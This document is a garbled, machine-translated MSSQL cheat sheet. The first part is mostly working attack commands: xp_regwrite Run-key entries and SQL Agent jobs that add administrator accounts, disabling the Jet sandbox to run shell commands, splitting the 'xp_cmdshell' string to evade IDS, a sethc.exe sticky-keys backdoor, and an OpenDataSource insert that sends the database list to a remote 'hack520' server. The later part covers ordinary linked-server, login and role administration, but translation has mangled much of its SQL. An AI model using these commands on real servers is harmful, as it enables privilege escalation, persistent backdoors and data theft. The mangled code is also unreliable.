Izmantojiet xp_regwrite (db_owner, nepieciešama atsāknēšana):
          exec master.dbo.xp_regwrite

'hkey_local_machine','Programmatūra\Microsoft\Windows\CurrentVersion\


Izpildīt','EADD1','reg_sz','Neto lietotāja administratora administrators /pievienot'
          exec master.dbo.xp_regwrite

'hkey_local_machine','Programmatūra\Microsoft\Windows\CurrentVersion\


Palaist','EADD2','reg_sz','Neto vietējās grupas administratoru administrators /pievienot'
5. Izmantojiet sp_add_job:
          izpilddirektors

master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
          MSDB exec sp_delete_job izmantošana

null,'x'
          exec sp_add_job 'x'
          exec sp_add_jobstep

Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add'
          exec sp_add_jobserver

Null,'x',@@servername exec sp_start_job 'x'















Daudzi SA ir guvuši panākumus daudzās mašīnās, kas tieši izmanto smilšu kastes režīmu, bet es nekad to neesmu praktizējis un nezinu, kāds ir panākumu līmenis. Kad paplašinājums tiek noņemts, vispirms

Atjaunojiet lasīšanas un rakstīšanas krātuvi reģistrā.
dbcc addextendedproc ("xp_regread", "xpstar.dll")
dbcc addextendedproc

("xp_regwrite", "xpstar.dll")



Fiksēts smilšu kastes aizsargātais režīms
izpildmeistars .. xp_regwrite 'HKEY_LOCAL_MACHINE','PROGRAMMATŪRA\Microsoft\Jet

\4.0\Engines','SandBoxMode','REG_DWORD',0; --



Pārbaudiet, vai vērtība 'SandBoxMode' ir kļuvusi par 0.


exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','PROGRAMMATŪRA

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Visbeidzot, izsauciet smilšu kastes režīmu
atlasiet * no openrowset('microsoft.jet.oledb.4.0','; datu bāze=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')







Ja smilšu kastes aizsardzības režīms nav "izslēgts", tiek ziņots par kļūdu:
          Serveris: Msg 7357, 16. līmenis, 2. stāvoklis, 1. rinda

Neizdevās apstrādāt objektu 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB nodrošina programmas

Priekšvārds "microsoft.jet.oledb.4.0" norāda, ka objektā nav kolonnu.

OLE DB kļūdu izsekošana [Kļūda bez interfeisa: OLE DB nodrošinātājs nevar apstrādāt objektu, jo objekts

has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c neto lietotājs

lietotājs passwd /add")']。


2、
Ja .mdb nav vai ievades ceļš ir nepareizs
           Serveris: Msg 7399, 16. līmenis, 1. stāvoklis, 1. rinda

OLE DB nodrošinātāja kļūda 'microsoft.jet.oledb.4.0'.
            [OLE/DB nodrošinātāja atgrieztais ziņojums:

Fails 'C:\WINDOWS\system32\ias\dnary1.mdb' nav atrasts. ]

OLE DB kļūdu izsekošana [OLE/DB nodrošinātājs 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned

0x80004005: ]。


3. Ja ievades procesā ir vairāk vietu, tiks ziņots arī par kļūdu. Pievērsiet īpašu uzmanību tam, daudzi cilvēki tieši meklē rakstus tiešsaistē

Ielīmējiet to un izpildiet to.
          Serveris: Msg 7357, 16. līmenis, 2. stāvoklis, 1. rinda
          Neizdevās apstrādāt objektu 'select

shell("cmd.exe /c neto lietotājs lietotājs passwd /add")'。
OLE DB pakalpojumu sniedzējs "microsoft.jet.oledb.4.0" norāda, ka objektā nav kolonnu.

OLE DB kļūdu izsekošana [Kļūda bez interfeisa:
OLE DB nodrošinātājs nevar apstrādāt objektu, jo objekts ir

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c neto lietotāja lietotājs

passwd /add")']。


4、
Ja mdb atļaujas un cmd.exe atļaujas ir nepareizas, radīsies arī problēma.
          Ja MDB atļaujas ir nepareizas,
           Serveris: Likvidēt

Procenti 7320, 16. līmenis, 2. stāvoklis, 1. rinda

Viņš nevarēja atbildēt
OLE DB pakalpojumu sniedzējs 'Microsoft.Jet.OLEDB.4.0' izpilda vaicājumu.
           [OLE/DB nodrošinātājs atgriezts

message: 未知]
           OLE DB kļūdu izsekošana [OLE/DB nodrošinātājs 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Ja tīkla atļauja ir nepareiza, nav uzvednes.

Pēdējais veids, kā paaugstināt autoritāti, ir augšupielādēt sistēmas ias.mdb un cmd.exe pašreizējā tīmekļa direktorijā, net.exe trīs failus.

Izpildiet atlasi * no openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe lietotājs lietotājs passwd /add")')
          Veiksmīgi pievienojiet datora lietotāju.






Cmdshell sadalīšana apiet IDS         
deklarēt @a sysname kopu @a='xp_'+'cmdshell' exec @a 'ipconfig'
paziņot

@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Rediģēt reģistra nolaupīšanas maiņu
izpildmeistars .. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Attēla faila izpildes opcijas\sethc.exe','atkļūdotājs','REG_sz','c:\windows

\system32\cmd.exe ieslēgts"; --



Vaicājums saišu serverī
Atlasiet

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,datu piekļuve no master.dbo.sysservers
Atlasiet

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,datu piekļuve no master.dbo.sysservers



Vaicājuma saites serveris2
Atlasiet atšķirīgu resursdatora nosaukumu,db_name(dbid),net_address,Loginame,program_name no

meistars.. sysprocesses



Vaicājums saišu serverī
un citi lietotāji, kas ir pieteikušies
Atlasiet * no [192.168.1.1].master.dbo.syslogins



Vaicājuma saišu serveris
Visas datu bāzes
atlasiet * no linkedSrvWeb.master.dbo.sysdatabases



Paplašinātas krātuves veikšana LinkServer
exec [ip].master.dbo.xp_cmdshell



Vaicāt visas saišu servera tabulas
Atlasiet * no [ip].master.dbo.sysobjects








Izvēlieties * no OpenRowSet

('sqloledb','serveris=IP; uid=lietotājs; pwd=parole','atlasīt @@version')


atlasiet * no openquery([LINKSERVER

nosaukums],'atlasīt @@version')




atlasiet * no openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




atlasiet * no openquery(GM_SERVER,'select * no sysobjects, kur xtype = (''U'')')


Izvēlieties * no

openquery(NDOORS;'Select IS_MEMBER(''db_owner'')')




atlasiet * no openquery(toatdeweb,'select

srvname no master.dbo.sysservers')


Ievietošana OpenDataSource

('sqloledb','serveris=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select

Nosaukums no master.dbo.sysdatabases
izveidot datu bāzi hack520 Izveidot TABULU zhu(vārds nvarchar(256)

null); Izveidot TABULU J8(id int NULL,name nvarchar(256) null);


Atlasiet * no OpenQuery

(toatdeweb,'iestatīt fmtonly off exec master.dbo.xp_cmdshell ''net user''')


izpildmeistars .. xp_dirtree

'c:\',1,1
Vaicājumu direktorija veikšana


exec links.master.. xp_cmdshell "ipconfig"


Atlasiet * no OpenQuery(ToatdeWeb,'Set

fmtonly izslēgts exec master.dbo.xp_cmdshell ''ipconfig /all''')



Pievienojiet mysql Atlasiet * no Mem_DB. UserDB.dbo.AdminList


IZPILDDIREKTORS MEISTARS .. XP_dirtree 'c:\',1,1




Izpilddirektors

master.dbo.xp_cmdshell 'dir '


Atlasiet count(*) no [norādīt]
Vaicājiet, cik daudz datu ir pašreizējā tabulā




Atlasiet atšķirīgu resursdatora nosaukumu,db_name(dbid),net_address,Loginame,program_name

no meistara .. sysprocesses






Izvēlieties * no gameDB01. Server01.dbo.cabal_character_table kur nosaukums='

Cūka"





Kad to izdzēšat, tiek teikts: Datu bāze tiek izmantota un to nevar izdzēst.


Noklikšķiniet uz datu bāzes, kuru vēlaties dzēst, lai atvērtu notikumu skatītāju.


Ievade:


Lietošana   

meistars
Iet
Pēc tam ievadiet:
Deklarēt @d Varchar(8000)
Iestatiet @d= ' '
izvēlieties @d=@d+ ' nogalināt   

'+cast(spid kā varchar)+char(13)
no meistara .. sysprocesses kur dbid=db_id('bibliotēkas nosaukums')
izpilddirektors(@d)
--
Izmantojiet kodu, lai vispirms izdzēstu procesu, kas izveido savienojumu ar šo datu bāzi












MSSQL darbojas Oracle, izmantojot LinkServer






1) Instalējiet Oracle SQL_SERVER 2005 serverī

9i klients. Pieņemsim, ka instalējiet direktorijā C:\ora92i\. Ja D: ir NTFS nodalījums, jums ir jāiestata ORACLE instalētais direktorijs kā izmantotais

Abonentiem ir tiesības palaist, pievienot un dzēst.


2)
Konfigurējiet failu C:\ora92i\network\ADMIN\tnsnames.ora. (Šis sarkanais teksts ir konfigurācijas piemērs)


ORCL =


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADRESE = (PROTOKOLS = TCP)(RESURSDATORS = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
DOS režīmā palaidiet tālāk norādīto komandu, lai pārliecinātos, ka ORACLE klients ir instalēts pareizi.


sqlplus lietotājs/password@ORCL


4)
Atveriet Start - Control Panel - Services un pārliecinieties, ka ir sākts Distributed Transaction Coordinator pakalpojums.



5) Atveriet SQL SERVER Management Studio, instances nosaukums (ORCL) - servera objekts (ar peles labo pogu) - jauns savienojuma serveris.


1.      


Saites serveris: ierakstiet saistītā servera nosaukumu, piemēram, OracleTest


2.         
Servera tips, atlasiet citu datu avotu


3. Piekļuves saskarne:
Atlasiet Oracle nodrošinātāju OLE DB


4. Produkta nosaukums: Write Oracle


5. Datu avots: Uzrakstiet

Pakalpojuma nosaukums, kas konfigurēts failā tnsnames.ora, piemēram, ORCL


6.         
Piekļuves interfeisa virkne: userid=sys kā sysdba; parole=parole


7.         
Lapā Atlasīt drošības opcijas izmantojiet šo instalācijas kontekstu, lai izveidotu savienojumu:


a) Attālinātā pieteikšanās: lietotājs (cits lietotājs, nevis sys)


b)      

    Lietot paroli: parole


8. Iestatiet "NT AUTHORITY\SYSTEM" vietējā pieteikšanās, attālinātā lietotāja sistēmā un iestatiet paroli


9.

         Vai esi pārliecināts


6) Ir divi veidi, kā rakstīt SQL


a) Izmantojot T-SQL sintaksi:


           IZVĒLIETIES * NO

OraTest.ERP.BAS_ITEM_CLASS


           Ņemiet vērā, ka, ievadot SQL paziņojumus SQL vaicājumu analizatorā, pievērsiet uzmanību ķīniešu pilna platuma un pusplatuma pārslēgšanai

Ceļš!


b) Izmantojiet PLSQL sintaksi:
           SELECT * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Otrā piekļuves metode ir aptuveni 50% ātrāka nekā pirmā; Otrā piekļuves metode ir tieši savienota

ORACLE ir salīdzināms; Pirmā piekļuves metode var izraisīt dažas negaidītas kļūdas, piemēram:
           Tabulas nav, vai pašreizējais lietotājs

Nav piekļuves galdam utt.


           d) Ja kolonna, kurai jāpiekļūst, izmanto datu tipus bez precizitātes, abi šie

Šī ir ORACLE kļūda, kuru nevar novērst, un to var izvairīties tikai ar īpašu vaicājumu paziņojumu apstrādi:


     OLE DB pakalpojumu sniedzēja "OraOLEDB.Oracle" sniegtie metadati kolonnām ir nekonsekventi. Metadatu informācija tiek mainīta izpildes laikā.










mssql pievienots

Lietotāja dzēšana un atļauju piešķiršana


Bibliotēkas nosaukuma izmantošana   
Iet   
--Pievienot lietotājus   
exec sp_addlogin 'test' -- pievienot pieteikšanos   
izpilddirektors

sp_grantdbaccess N'test" - padarot to par likumīgu pašreizējās datu bāzes lietotāju   
exec sp_addrolemember N'db_owner',

N'test' - piešķir visas atļaujas savai datu bāzei   
- Tas rada lietotājus, kuri var piekļūt tikai savai datu bāzei un tam, kas ir iekļauts datu bāzē

Publiska tabula vieslietotājiem   
Iet   
--Noņemt testa lietotāju   
exec sp_revokedbaccess N'test' -- Noņemt piekļuvi datu bāzei

Ierobežojums   
exec sp_droplogin N'test' -- dzēst pieteikšanos   
Ja to izveidojat programmā Enterprise Manager, izmantojiet:   
Uzņēmuma vadītājs - drošība

Sekss --Ar peles labo pogu noklikšķiniet uz Pieteikties--Jauna pieteikšanās   
Vispārīgi jautājumi   
--Ievadiet lietotājvārdu nosaukumā   

--Autentifikācijas metode tiek izvēlēta atbilstoši jūsu vajadzībām (ja izmantojat Windows autentifikāciju, vispirms jāizveido jauns lietotājs starp operētājsistēmas lietotājiem)   

--Noklusējuma iestatījumos atlasiet datu bāzes nosaukumu, kuram vēlaties piekļūt jaunajam lietotājam   
Servera lomas vienums   
Neizvēlieties neko šajā   
datu bāze

Piekļuves vienums   
Pārbaudiet izveidotā lietotāja datu bāzes nosaukumu, kurai vēlaties piekļūt   
Atļaut datu bāzes lomu, atzīmējiet "publisks", "db_ownew"   
Protams, tas

Parauga izveidotais lietotājs ir tāds pats kā lietotājs, kas izveidots ar iepriekš minēto apgalvojumu   



Pēdējais solis ir iestatīt konkrētas piekļuves atļaujas konkrētiem lietotājiem, uz kurām var atsaukties šāds minimālais piemērs:   

--Pievienojiet lietotājus, kuriem ir atļauts piekļūt tikai norādītajai tabulai:   
exec sp_addlogin 'lietotājvārds', 'parole', 'noklusējuma datu bāzes nosaukums'   

--pievienot datu bāzei   
exec sp_grantdbaccess 'lietotājvārds'   

--Piešķirt visas tabulas atļaujas   
PIEŠĶIRT ATLASĪT , IEVIETOT , ATJAUNINĀT , DZĒST TABULĀ1 UZ [lietotājvārds]   
--Piešķirt atļaujas noteiktām kolonnām   
PIEŠĶIRT ATLASĪT , ATJAUNINĀT TABULĀ1 (id, AA) UZ [lietotājvārds]   


Lai iegūtu specifiskus drošības iestatījumus un teorētiskās zināšanas, lūdzu, skatiet SQL tiešsaistes palīdzību  







Fiksēts datu bāzes lomas apraksts   
  db_owner Ir pilnas atļaujas datu bāzē.   

db_accessadmin Varat pievienot vai noņemt lietotāju ID.   

db_securityadmin Var pārvaldīt pilnas atļaujas, objekta īpašumtiesības, lomas un lomu dalību.   

db_ddladmin varat izdot VISUS DDL, bet ne GRANT, ATSAUKT vai NOLIEGT.   

db_backupoperator var izdot DBCC, CHECKPOINT un BACKUP priekšrakstus.   

db_datareader Visus datus var atlasīt no jebkuras datu bāzes lietotāju tabulas.   

db_datawriter Visus datus var mainīt jebkurā datu bāzes lietotāja tabulā.   

db_denydatareader Datu bāzē nevar atlasīt nevienu lietotāju tabulu.   

db_denydatawriter Datu bāzes lietotāju tabulā nevar mainīt nevienu datu bāzi.  





Jums vajadzētu izvēlēties db_datareader, db_datawriter, db_accessadmin




5.
Kad SQL Server instance ir startēta viena lietotāja režīmā, Windows administratora konts var izmantot sqlcmd rīku, lai izveidotu savienojumu Windows autentifikācijas režīmā

SQL Server。 Varat izmantot T-SQL komandas, piemēram, "sp_addsrvrolemember", lai pievienotu esošu pieteikšanos sistēmas administratora servera lomai

vai izveidojiet jaunu pieteikšanās kontu.
Apgalvojuma piemērs ir šāds:


EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


IET


Sistēmas administratora atļaujas pievienošana








(1) Servera lomu pārvaldība


SQL Server ir divas galvenās saglabātās procedūras, kas īsteno SQL Server lomu pārvaldību:


sp_addsrvrolemember

un sp_dropsrvrolemember


sp_addsrvrolemember
Servera lomai var pievienot pieteikšanās kontu, lai to padarītu par šīs servera lomas dalībnieku. Sintakse ir šāda:
sp_addsrvrolemember

pieteikšanās , loma


sp_dropsrvrolemember
Pieteikšanās kontu var izdzēst no servera lomas, un, kad dalībnieks tiek noņemts no servera lomas, tam vairs nav šīs servera lomas

Iestatītās atļaujas. Sintakse ir šāda:
sp_dropsrvrolemember [@loginname=]'pieteikšanās',[@rolename=]'loma'


tajā

@loginname ir pieteiktā lietotāja vārds; @rolename ir servera loma.




(2) Datu bāzes lomu pārvaldība


SQL Server tiek atbalstīta datu bāzes pārvaldība

Ir seši galvenie saglabāto procedūru veidi, un to specifiskā nozīme un sintakse ir šāda:


sp_addrole: tiek izmantots, lai izveidotu jaunu datu bāzes lomu;
sp_addrole

loma, īpašnieks


sp_droprole: izmanto, lai noņemtu datu bāzes lomu no pašreizējās datu bāzes lomas;
sp_droprole loma


sp_helprole:

To izmanto, lai parādītu visu informāciju par visām datu bāzes lomām pašreizējā datu bāzē;
sp_helprole ['loma']


sp_addrolemember: Izmanto, lai nosūtītu uz datu bāzi

Datu bāzes lietotāju pievienošana lomai, kas var būt lietotāja definētas standarta lomas vai fiksētas datu bāzes lomas, bet nevar būt

Lietojumprogrammu lomas.
sp_addrolemember lomu, security_account


sp_droprolemember: tiek izmantots, lai izdzēstu noteiktu rakstzīmi

mājsaimniecība;
sp_droprolemember lomu, security_account


sp_helprolemember. Izmanto, lai parādītu visus datu bāzes lomas dalībniekus


sp_helprolemember ['loma']






MSSQL LINKSERVER vaicājums


----------------------------------------------------------------------------------
- Autors:

htl258 (Tonijs)
-- Datums : 2010-06-25 22:23:18
-- Versija: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel x86)
-- Jūlijs 9, 2008 14:43:34
-- Autortiesības (c) 1988-2008 Microsoft Corporation
--

Izstrādātāja izdevums operētājsistēmā Windows NT 5.1 (būvējums 2600: 2. servisa pakotne)
-- Emuārs: -- Temats:
SQL datu operācijas starp dažādām serveru datu bāzēm
----------------------------------------------------------------------------------
--1.
Saišu servera izveide
--1.1 Izveidojiet saites nosaukumu
EXEC sp_addlinkedserver 'LinkName','',''SQLOLEDB',' attālā servera nosaukums

vai IP adrese" --
Ja jums ir pielāgots instances nosaukums, pievienojiet "\instances nosaukums"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','','SQLOLEDB','192.168.58.208' */
--1.2
Izveidojiet pieteikšanos (vai izveidojiet saišu servera pieteikšanās karti) (vienkārši izvēlieties vienu veidu)
--1.2.1
Piesakieties ar Windows autentifikāciju
EXEC sp_addlinkedsrvlogin 'LinkName'
--vai EXEC sp_addlinkedsrvlogin 'LinkName','true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Piesakieties ar SQL autentifikāciju
EXEC sp_addlinkedsrvlogin 'LinkName','false',NULL,'Username','Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */
--2.
Ar serveri saistītu datu operāciju saistīšana
--2.1 Vaicājuma piemērs
SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *

NO TonyLink.Mydb.dbo.tb */
--
2.2 Importa piemērs
SELECT * INTO tabulas nosaukums FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb

NO TonyLink.Mydb.dbo.tb */
--
2.3 Atjaunināšanas piemērs
UPDATE LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Personas='g' KUR Personas='a' */
--
2.4 Dzēst piemērus
DELETE LinkName.Database Name.Schema Name.Table Name WHERE lauka nosaukums='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb KUR Personas='g' */
--3, izmantojot funkciju rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Metode
-
3.1 OPENQUERY metode (nepieciešama tikko izveidotā saišu servera palīdzība):
--
3.1.1 Vaicājuma piemērs
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums')
/*
Piemēram: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Importa piemēri
--3.1.2.1 Importēt visas kolonnas
INSERT OPENQUERY(LinkName, 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums

') SELECT * FROM vietējā tabulā
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

NO tb */
--3.1.2.2
Importēt norādītās kolonnas
INSERT OPENQUERY(LinkName, 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums') (kolonna, kolonna...)
kolonna SELECT,

Kolonna... FROM vietējā tabula
/*
Piemēram: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
ATLASIET

DIAPAZONS,LĪMENIS,Personas NO tb
*/
--3.1.3
Atjaunināšanas piemēri
UPDATE OPENQUERY(LinkName, 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums') SET lauks = 'vērtība' WHERE vārds

Segments = 'Stāvoklis'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Personas='a' */
--3.1.4
Piemēru dzēšana
DELETE OPENQUERY(LinkName, 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums') WHERE lauka nosaukums='nosacījums'
/*例

Piemēram: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */
--3.2
OPENROWSET metode (jums nav jāizmanto izveidotās saites nosaukums.) Ja pievienotās instances nosaukums nav noklusējuma, tas jāiestata sql servera nosaukumā vai IP adresē.

"\instances nosaukums")
--3.2.1 Vaicājuma piemērs
--3.2.1.1
Windows autentifikācijas metodes vaicājums (pietiek ar vienu no šīm metodēm)
ATLASIET * NO OPENROWSET('SQLOLEDB', 'server=sql servera nosaukums vai

IP adrese; Trusted_Connection=yes', datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums)
ATLASIET * NO OPENROWSET('SQLNCLI',

'server=sql servera nosaukums vai IP adrese; Trusted_Connection=yes', datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums)
IZVĒLIETIES * NO

OPENROWSET('SQLOLEDB', 'serveris=sql servera nosaukums vai IP adrese; Trusted_Connection=yes','SELECT * FROM datu bāzes

Vārds. Arhitektūras nosaukums. tabulas nosaukums')
ATLASIET * NO OPENROWSET('SQLNCLI', 'server=sql servera nosaukums vai IP adrese

Adrese; Trusted_Connection=yes','SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums')
/*
Piemēram: SELECT * FROM OPENROWSET

('SQLOLEDB','Serveris=192.168.58.208; Trusted_Connection=jā',Mydb.dbo.tb)

Vai: ATLASIET * NO OPENROWSET

('SQLNCLI','Serveris=192.168.58.208; Trusted_Connection=jā',Mydb.dbo.tb)

Vai: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes','SELECT *

NO Mydb.dbo.tb')

Vai: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes','SELECT *

NO Mydb.dbo.tb')
*/
--3.2.1.2 SQL autentifikācijas metodes vaicājums (pietiek ar vienu no šīm metodēm)
IZVĒLIETIES * NO OPENROWSET

('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole', datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums)
IZVĒLIETIES * NO

OPENROWSET('SQLNCLI', 'serveris=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole', datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums)
ATLASIET * NO OPENROWSET('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole','SELECT *

Datu bāzes nosaukums FROM. Arhitektūras nosaukums. tabulas nosaukums')
ATLASIET * NO OPENROWSET('SQLNCLI', 'server=sql servera nosaukums vai IP adrese; uid=

Lietotājvārds; pwd=password','SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums')
SELECT * FROM OPENROWSET('SQLOLEDB', 'sql

servera nosaukums"; "lietotājvārds"; "Parole", datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums)
ATLASIET * NO OPENROWSET('SQLNCLI', 'SQL SERVERA NOSAUKUMS

'; "lietotājvārds"; "Parole", datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums)
ATLASIET * NO OPENROWSET('SQLOLEDB', 'SQL SERVERA NOSAUKUMS'; ' lietotājs

vārds"; 'Parole', 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums')
ATLASIET * NO OPENROWSET('SQLNCLI', 'sql server

vārds"; "lietotājvārds"; 'Parole', 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Vai: ATLASIET * NO OPENROWSET

('SQLNCLI','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Vai: ATLASIET * NO OPENROWSET

('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')

vai: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM

Mydb.dbo.tb')

vai: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; "sa"; '123',mydb.dbo.tb)

vai: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; "sa"; '123',mydb.dbo.tb)

vai: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; "sa"; '123','SELECT * FROM Mydb.dbo.tb')

vai: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; "sa"; '123','SELECT * FROM Mydb.dbo.tb')
*/
--3.2.2 Importēšanas piemērs
--3.2.2.1 Importēt visas kolonnas
INSERT OPENROWSET('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese

Adrese; uid=lietotājvārds; pwd=parole', datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums)
SELECT * FROM lokālajā tabulā
/* 例如:INSERT OPENROWSET

('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SELECT * FROM tb
*/
--3.2.2.2 Imports

Kolonnu norādīšana
INSERT OPENROWSET('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole', datu bāzes nosaukums. plaukts

Konstrukta nosaukums. tabulas nosaukums) (kolonna, kolonna...)
SELECT kolonna, kolonna... FROM vietējā tabula
/* 例如:INSERT OPENROWSET

('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(DIAPAZONS,LĪMENIS,Personas)
ATLASIET

DIAPAZONS,LĪMENIS,Personas NO tb
*/
--Piezīme: Lai iegūtu vairāk alternatīvu metožu, skatiet .2.1 vaicājuma piemēru, vienkārši nomainiet funkciju OPENROWSET

Saturs ir pietiekams.
--3.2.3 Atjaunināt piemēru
UPDATE OPENROWSET('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds

;p wd=password', datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums)
SET lauks = 'vērtība'
Lauks WHERE = 'nosacījums'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET personas = 'g'
WHERE personas = 'a'
*/
--Piezīme: Lai iegūtu vairāk alternatīvu metožu, skatiet .2.1 vaicājuma piemēru, vienkārši nomainiet saturu OPENROWSET.
--3.2.4 Svītrot norādi

Piemērs
DELETE OPENROWSET('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole', datu bāzes nosaukums. Shēmas nosaukums

.tabulas nosaukums)
WHERE lauka nosaukums='nosacījums'
/*
Piemēram: DELETE OPENROWSET('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
KUR

Personas = 'g'
*/
--Piezīme:
Lai iegūtu vairāk alternatīvu metožu, skatiet .2.1 vaicājuma piemēru, vienkārši aizstājiet saturu OPENROWSET.
--3.3 OPENDATASOURCE metode

(Izveidotās saites nosaukums nav jāizmanto.) Ja savienojuma instances nosaukums nav noklusējuma, pēc sql servera nosaukuma vai IP adreses jāpievieno \instances nosaukums

")
--3.3.1
Vaicājuma piemērs
--3.3.1.1 Windows autentifikācijas metodes vaicājums (pietiek ar vienu no šīm metodēm)
ATLASIET * NO OPENDATASOURCE('SQLOLEDB',

'server=sql servera nosaukums vai IP adrese; Trusted_Connection=jā"). Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums
IZVĒLIETIES * NO

OPENDATASOURCE('SQLNCLI', 'serveris=sql servera nosaukums vai IP adrese; Trusted_Connection=jā"). Datu bāzes nosaukums. Arhitektūras nosaukums.

Tabulas nosaukums
/*
Piemēram: ATLASIET * NO OPENDATASOURCE

('SQLOLEDB','Serveris=192.168.58.208; Trusted_Connection=jā"). Mydb.dbo.tb

Vai: ATLASIET * NO OPENDATASOURCE

('SQLNCLI','Serveris=192.168.58.208; Trusted_Connection=jā"). Mydb.dbo.tb
*/
--3.3.1.2
SQL autentifikācijas metodes vaicājums (pietiek ar vienu no šīm metodēm)
ATLASIET * NO OPENDATASOURCE('SQLOLEDB', 'server=sql servera nosaukums vai

IP adrese; uid=lietotājvārds; pwd=parole').
Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums
ATLASIET * NO OPENDATASOURCE('SQLNCLI', 'serveris=sql servera nosaukums vai IP adrese; uid=lietotājs

Vārds; pwd=parole').
Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums
ATLASIET * NO OPENDATASOURCE('SQLOLEDB', 'Data Source=sql servera nosaukums vai IP adrese

Adrese; uid=lietotājvārds; pwd=parole').
